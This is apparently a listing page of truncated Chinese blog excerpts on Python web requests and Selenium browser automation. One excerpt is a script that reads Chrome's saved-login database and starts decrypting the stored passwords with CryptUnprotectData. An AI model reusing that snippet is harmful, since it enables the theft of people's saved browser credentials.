一、下载一只猫import urllib.requestresponse = urllib.request.urlopen("http://cdn.duitang.com/uploads/item/201111/24/20111124222137_wHYwc.jpg")
cat_img = response.read()with open(‘cat_0.jpeg‘, ‘wb‘) as f:f.write(cat_img) urlopen()中的url可以是string,也可以是request object,因此可以是:import urllib.requestreq = urllib.request.Request("http://cdn.duitang.com/uploads/item/201111/24/2011112422213...
1.浏览器大小的控制Set_window_size()是控制浏览器大小Maximize_window()浏览器全屏显示from selenium import webdriver #导入selenium的webdriver包from time import sleep
driver = webdriver.Firefox()
driver.get("https://www.baidu.com")
sleep(10) #等待10秒钟
driver.set_window_size(500,500)
sleep(10)
driver.maximize_window()2.浏览...
前几天有位微信读者问我一个爬虫的问题,就是在爬去百度贴吧首页的热门动态下面的图片的时候,爬取的图片总是爬取不完整,比首页看到的少。原因他也大概分析了下,就是后面的图片是动态加载的。他的问题就是这部分动态加载的图片该怎么爬取到。分析他的代码比较简单,主要有以下的步骤:使用BeautifulSoup库,打开百度贴吧的首页地址,再解析得到id为new_list标签底下的img标签,最后将img标签的图片保存下来。headers = {‘User-A...
from selenium import webdrivermobileEmulation = {‘deviceName‘ :‘Galaxy S5‘}option = webdriver.ChromeOptions()option.add_experimental_option(‘mobileEmulation‘,mobileEmulation)charome = webdriver.Chrome(options=option)网上找到的都是这种方式,但这种方法有些弊端,这个没有真正进入toggle device toolbar模式,导致后续有些操作无法实现。目前还没找到方法去:模拟打开开发者模式,再点击oggle device tool...
浏览器的操作1)浏览器最大化代码示例:#coding=utf-8from selenium import webdriverdriver = webdriver.Firefox()driver.get("http://www.baidu.com")print "浏览器最大化"driver.maximize_window() #将浏览器最大化显示driver.quit() 2)设置浏览器的宽、高代码示例:#coding=utf-8from selenium import webdriver driver = webdriver.Firefox()driver.get("http://m.mail.10086.cn")#参数数字为像素点print "设置浏览器宽480、...
一、安装selenium 前提是已安装Python,python安装 自行百度,这里不概述 安装好python后,cmd打开终端窗口--》pip命令安装 :pip install selenium 二、安装chromedriver 首先,查看自己的chrome版本 Chrome与Chromedriver版本对应关系,可查看https://www.cnblogs.com/mini-monkey/p/12088721.html 下载Chromedriver的地址链接为:http://chromedriver.storage.googleapis.com/index.html ...
python自带的urllib,urllib2可以极方便做http操作,在我们按照http方式提交消息请求后,有可能会看见返回这个错误“403 forbidden",这是请求的网站做了阻止,于是我们需要把自己伪装成模拟器。对此,可以加上headers={‘User-Agent‘:user-agent,‘cookie‘:cookie},注意操作的网站 需要登录账号的话,就需要加上cookie,这两个值可以通过chrome的”开发者工具“查看:把他们加上去,然后在请求值那里再加上:req = urllib2.Reques...
python平台:win7
python 版本:3.6.3备注:Python的安装这里就不介绍了,网上有很多相关内容。第一步:下载并安装selenium模块?这里建议用python的自带的pip去下载。python3.6就自带了这个pip工具,可能之前版本要手动安装一下。打开dos窗口? 输入一下命令,会自动获取:等待完成 显示"successfully installed...."表示安装完成,如下图:第二步:安装谷歌浏览器驱动谷歌各版本驱动下载地址:http://chromedriver.storage.googlea...
运行脚本时间比较长时可以不打开浏览器测试,这样在测试运行时,电脑还是可以用作其他操作的。只需要在运行脚本上加上下面代码的678行即可 1# coding = utf-8 2 3from selenium import webdriver4import time5 6 option = webdriver.FirefoxOptions()7option.set_headless()8 br = webdriver.Firefox(firefox_options=option)910# br = webdriver.Firefox()1112 br.get("https://mail.qq.com") 原文:https://www.cnblogs.com/sue...
WebDriver 支持 Firefox (FirefoxDriver)、IE (InternetExplorerDriver)、Opera (OperaDriver) 和 Chrome (ChromeDriver) 。下载ChromeDriver.exe、IEDriverServer.exe放到D:\python27 执行:# coding = utf-8from selenium import webdriverbrowser = webdriver.Chrome()browser.get("http://www.baidu.com")browser.find_element_by_id("kw").send_keys("selenium")browser.find_element_by_id("su").click()browser.quit()
一...
曾经,用惯了python print命令的人,惊叹于python语法的精简;后来,用过了tornado、django等web开发框架,不得不佩服当初开发这些框架的人们。于是,我们开始使用它们的框架==》一个被重复了无数次的配置。那么问题来了,如果我很多次的完成某个领域的类似问题,我需要每次都去重复的配置吗?偶然间,我在想,能否在它们的框架上继续精简,以在某种用途上实现更加高效的开发。web框架的使用,包含server端和browser端。本次改装采...
最近开始学习selenium,按照书上编写一个自动化脚本: from selenium import webdriverbrowser = webdriver.Firefox browser.get("http://www.baidu.com")browser.find_element_by_id("kw").send_keys("selenium")browser.find_element_by_id("su").click() browser.quit() 执行后提示“浏览器在建立连接前已关闭”,通过度娘看到很多解决办法,最终验证发现是Firefox版本太高,将Firefox版本降低后问题解决!原文:http://www.cnb...
#coding:utf-8import os
import sys
import sqlite3
import win32cryptdirectory_path = r‘Google\Chrome\User Data\Default\Login Data‘
file_path=os.path.join(os.environ[‘LOCALAPPDATA‘],directory_path)
conn=sqlite3.connect(file_path)
cursor = conn.cursor()
cursor.execute(‘select username_value, password_value, signon_realm from logins‘)
for data in cursor.fetchall():passwd = win32crypt.CryptUnprote...
前言Selenium 是一个用于Web网页UI自动化测试的开源框架,可以驱动浏览器模拟用户操作。可以模拟控制浏览操作,常见浏览器操作:打开页面、关闭页面、刷新、前进、后退、最大化。。。1,打开&关闭页面selenium支持模拟在浏览器上打开/关闭页面。还有一个类似关闭的操作-关闭浏览器进程。每次执行selenium测试用例时都会开启一个浏览器进程,故测试用例结束时需要关闭浏览器进程。driver.get("url") # 打开页面
driver.close() # ...
前面文章介绍了,如何调用webdriver接口方法来打开和关闭Firefox浏览器,本文介绍如何打开IE和Chrome浏览器。web项目,需要做兼容性测试,最重要的是浏览器兼容性测试。如果只考虑windows平台,相信应该很多公司必须要测试IE、Firefox、Chrome这三大浏览器。所以webui 自动化测试,也需要在这三大浏览器上面运行和测试脚本。从前面文章,我们知道,要调用Firefox浏览器,我们需要下载geckodriver.exe这个文件,放到Python的安装路径...